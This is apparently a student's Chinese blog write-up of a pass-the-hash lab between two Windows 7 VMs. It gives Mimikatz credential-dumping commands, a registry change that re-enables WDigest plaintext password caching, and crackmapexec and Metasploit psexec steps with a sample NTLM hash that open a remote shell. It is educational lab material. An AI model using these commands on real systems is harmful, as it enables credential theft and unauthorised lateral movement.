首页 > 其他分享 >内网渗透之哈希传递攻击

内网渗透之哈希传递攻击

时间:2023-04-03 21:23:53浏览次数:51  
标签:hash 哈希 渗透 NTLM 用户 传递 密码 Windows 模块

(作业记录

0x01

利用VMware的克隆功能克隆一台win7,取名为win7-2。
image

image.png

0x02

启用win7和win7-2的系统管理员 Administrator 账户及设置密码

法一

启用管理员账号administrator
image.png
设置密码为123456
image.png

法二

打开开始菜单,右击“计算机”,选择“管理”。
image.png
在“计算机管理”窗口,依次定位到“本地用户和组->用户”。单击展开“用户”项。
image.png
image.png
在右边的细节窗口中,右击“Administrator”,选择“属性”。 默认状态下,Administrator 属性窗口中“账户已禁用”项是勾选着的。我们需要取消其勾选,然后按“确定”保存更改。
image.png

0x03

任选上课中介绍的一款工具读取win7的本地账号和对应的NTLM hash值。

Windows账号密码存放路径

路径:C:\Windows\System32\config\sam
在SAM文件中所存储的是密码的hash值,而不是明文密码。
image.png

本地身份认证过程

Windows Logon Process(即winlogon.exe):是Windows NT 用户登陆程序,用于管理用户登陆和退出。
LSASS:用于微软Windows系统的安全机制,它用于本地安全和登陆策略。

首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登陆界面,也就是输入框界面,接收用户的输入信息后,将密码交给lsass进程,这个过程中会存一份明文密码,将明文密码加密成NTLM Hash值,对SAM数据库进行比较认证。
image.png

获取本地数据库信息的方法可以分为两种:

这个实验只演示Mimikatz获取本地信息

一.在线读取SAM数据库:

1.Mimikatz抓取密码信息
2.Pwdump抓取
3.Powershell抓取

二.离线获取SAM数据库(获取当前系统的sam,在另一个系统读取):

1.注册表导出sam。
2.Ninjiacopy
3.procdump

先切换登录用户administrator

image.png

使用mimikatz读取用户密码

用管理员打开mimikatz,输入privilege::debug获取调试权限。
在 windows⾥,调试权限可以⽤来调试进程,甚至是调试内核。对于 mimi-katz的工作原理必须要读取内存,那么只有它拥有了调试的权限才能去打开进程。所以mimikatz能抓取hash或者明码的一个必要条件拥有调试程序的权限。
image.png
输入命令sekurlas::logonPasswords抓取用户的NTLM和密码123456
msv:这项是账户对应密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文
tspkg,wdigest,kerberos:这个就是账户对应的明文密码了。有的时候这三个对应的也不是全部都是一样的,需要看服务器是什么角色。
SSP:是最新登录到其他RDP终端的账户和密码
image.png
image.png
根据NTLM解密网站解密hash值,依旧可以得出密码123456
image.png

sekurlsa模块

sekurlsa::logonpasswords

抓取用户NTLM哈希
sekurlsa::msv

加载dmp文件,并导出其中的明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

导出lsass.exe进程中所有的票据
sekurlsa::tickets /export

kerberos模块

列出系统中的票据
kerberos::list
kerberos::tgt

清除系统中的票据
kerberos::purge

导入票据到系统中
kerberos::ptc 票据路径

lsadump模块

在域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等
lsadump::dcsync /domain:kevin.com /user:root

(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch

从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive

从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam

wdigest

WDigest协议是在WindowsXP中被引入的,旨在与HTTP协议一起用于身份认证。默认情况下,Microsoft在多个版本的Windows(Windows XP-Windows 8.0和Windows Server 2003-Windows Server 2012)中启用了此协议,这意味着纯文本密码存储在LSASS(本地安全授权子系统服务)进程中。 Mimikatz可以与LSASS交互,允许攻击者通过以下命令检索这些凭据

mimikatz #privilege::debug
mimikatz #sekurlsa::wdigest

Mimikatz抓取用户明码的防御手段及解决手段

虽然利用mimikatz可以较为方便的获取当前登陆用户存储在内存中的明码。但是在安装了KB2871997补丁、系统为win10或2012R2以上或者调整了组策略时,默认在内存缓存中禁止保存明文密码,mimikatz就无法抓取明文密码。
但可以通过修改注册表的方式抓取明文。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f  
#重启或用户重新登录后可以成功抓取

Mimikatz在线读取所有用户信息

privilege::debug
token::elevate
lsadump::sam

可以查看所有本地用户的相关信息,包括密码的NTLMHash 值,通过对HTLM hash值的破解即可获得密码。
image.png

0x04 哈希传递攻击

在kali上利用在win7上得到的账号信息对win7-2进行PTH攻击,工具选择crackmapexec或msf,PTH攻击成功后在命令行运行net user 查看所有本地用户。

原理

哈希传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接利用已经得到的账户密码值来访问远程主机或服务,而不需要提供明文密码。

实现

哈希传递是内网横向移动时非常常用的一种手法,支持PTH的工具很多,例如MSF、powershell脚本、mimikatz等。
漏洞主机:win7-2,IP地址:192.168.1.4
攻击主机:Kali,IP地址:192.168.1.9

使用Crackmapexec进行PTH

crackmapexec smb 被攻击ip -u administrator -H 被攻击ip的用户NTLM即hash值 -x whoami
image.png

Metasploit

初始化及启动

在使用之前我们需要对Metasploit进行初始化,
并启动:

systemctl start postgresql
systemctl enable postgresql

image.png
启动专用的数据库,并设置为每次开机自动启动

msfconsole

或者 点击kali屏幕左上角图标->选择 08->点击Metasploit framework
( msf == Metasploit framework)

Metasploit常用命令

search //按关键字查找

use //选择对应模块并使用
//<1>在use 中想退出模块不退出框架使用 back命令;
//<2> 也可以使用info 查看使用模块的详细信息

show options //查看该模块需要配置的参数

run //运行模块

msf的使用法则三步走

  1. 查找对应可使用模块;
  2. 使用模块并配置模块必选项;
  3. 运行模块。

msf中共有6大模块,分别是:

  1. 渗透攻击模块Exploit Modules:攻击漏洞
  2. 辅助模块Auxiliary Modules:扫描
  3. 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
  4. 空字段模块Nop Modules
  5. 编码模块Encoders
  6. 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行

使用Metasploit进行PTH:

auxiliary/admin/smb/psexec_command      // 在目标机器上执行系统命令
exploit/windows/smb/psexec            // 用psexec执行系统命令
exploit/windows/smb/psexec_psh         // 使用powershell作为payload

输入命令msfconsole运行msf
image.png
用psexec执行系统命令 exploit/windows/smb/psexec
image.png
show options
image.png
将rhost设置为被攻击ip
image.png
将smbuser设置为administrator
image.png
将smbpass设置为administrator用户的LM-hash和NTLM-hash(冒号前面为LM,后面为NTLM
set smbpass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
LM为44efce164ab921caaad3b435b51404ee
NTLM为32ed87bdb5fdc5e9cba88547376818d4
image.png
run进入meterpreter即为hash传递攻击成功
image.png
我们输入: shell即可切换到目标主机的windows cmd_shell里面,再net user发现会乱码
image.png
目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
chcp 65001
再net user,可以查看所有本地用户
image.png

遇到的问题

  1. PTH攻击成功后,找不到在哪net user,查看Metasploit相关使用教程,才知道进入meterpreter之后,先输入shell指令,即可切换到目标主机的windows cmd_shell里面,再输入net user即可

  2. net user的时候会出现目标主机cmd_shell字符乱码。解决方法:设置目标主机命令行的字符编码,65001是UTF-8

image.png

标签:hash,哈希,渗透,NTLM,用户,传递,密码,Windows,模块
From: https://www.cnblogs.com/Zer0o/p/17284499.html

相关文章

  • 06-网络安全-kail linux渗透测试(基础篇)
    渗透测试是一个非常广的课程,我们首先要做的是在某个方向精通,再在其他方面也要有涉猎。大部分的漏洞是国外挖掘的。一、推荐研究书籍:Metasploit浚透测试指南》肯尼(行业经典)  诸葛建伟翻译《Metasloit渗透测试魔鬼训练营》诸葛建伟(国内经典)《网络攻击技术与实践》诸葛建伟......
  • 《渗透测试》信息打点-APP资产&知识产权&应用监控&静态提取&动态抓包&动态调试 2023 D
     案例1:名称获取APP信息(爱企查/小蓝本/七麦/点点)1、爱企查知识产权2、七麦&点点查名称https://www.xiaolanben.com/https://aiqicha.baidu.com/https://www.qimai.cn/https://app.diandian.com/ 案例2:URL网站备案查APP1、查备案信息在搜2、网站上有APP下载3、市场......
  • 《渗透测试》信息打点-小程序应用&解包反编译&动态调试&抓包&静态分析&源码架构 2023
     #小程序获取-各大平台&关键字搜索-微信-百度-支付宝-抖音头条 #小程序体验-凡科建站&模版测试上线测试:https://qz.fkw.com/参考:https://blog.csdn.net/qq_52445443/article/details/1223518651.主体结构小程序包含一个描述整体程序的app和多个描述各自页面的pa......
  • 记某gov门户网站渗透测试(已修复)
    前言:免责声明:涉及到的所有技术仅用来学习交流,严禁用于非法用途,未经授权请勿非法渗透。否则产生的一切后果自行承担!该渗透测试项目为已授权项目,本文已对敏感部分做了相关处理。正文:SQL注入(已修复)拿到客户授权后首先尝试访问其官网查看其都有哪些功能。在官网上测试了一波后......
  • Vue3中修改父组件传递到子组件中的值
    Vue3中修改父组件传递到子组件中的值1.大家都知道,vue是具有单向数据流的传递特性。当你在子组件中修改父组件传递过来的数据的时候,控制台就会报出错误,说不让你对父组件传递的值进行修改。2.那么,尤大大为了解决这个问题,在vue3的时候给我们提供了一个新的思路:v-model来实现父传子,并......
  • iOS事件的传递与响应
    1.IOHIDEvent事件的传递1当发生触摸屏幕等硬件事件的时候,会通过IOKit.framework产生一个IOHIDEvent对象aIOKit.framework是一个系统框架的集合,用来驱动一些系统事件。IOHIDEvent中的HID代表HumanInterfaceDevice,即人机交互驱动。1然后系统通过 machport(IPC进程间通......
  • 【ChatGPT答】频率特性、频谱特性、幅频特性的区别,传递函数和增益的区别
    仅供参考。频率特性频率特性是指一个系统或信号在不同频率下的性质,通常用于描述系统或信号的频率响应。在信号处理中,频率特性是对信号在频率域中的分布和特征进行描述的一种方式,也是理解信号在不同频率下的行为的基础。具体来说,频率特性包括以下几个方面:频率响应:一个系统对......
  • java -- static, 内部类, 权限, 参数传递
    static关键字static是静态修饰符,一般修饰成员。被static修饰的成员属于类,不属于单个这个类的某个对象。static修饰的成员被多个对象共享。static修饰的成员属于类,但是会影响每一个对象。被static修饰的成员又叫类成员,不叫对象的成员。static特点被static修饰的成员变量属于类,不......
  • 有关哈希表简单的散列函数实现-Java实现
    其实现不难,所以直接贴代码:1packagedataSrtuct;23importjava.util.ArrayList;4importjava.util.LinkedList;56publicclassHashTab{7publicstaticvoidmain(String[]args){8hashTablehashT=newhashTable(10);9......
  • 17.内网渗透基础
    内网渗透基础目录内网渗透基础一、内网介绍1、工作组2、域3、域类型:4、域术语:二、内网信息收集1、域信息收集命令:2、找域控命令3、主机发现三、LM和NTLM四、哈希抓取五、内网横向一、内网介绍1、工作组工作组(WorkGroup)是局域网中的一个概念。它是最常见最简单最普通的资源管......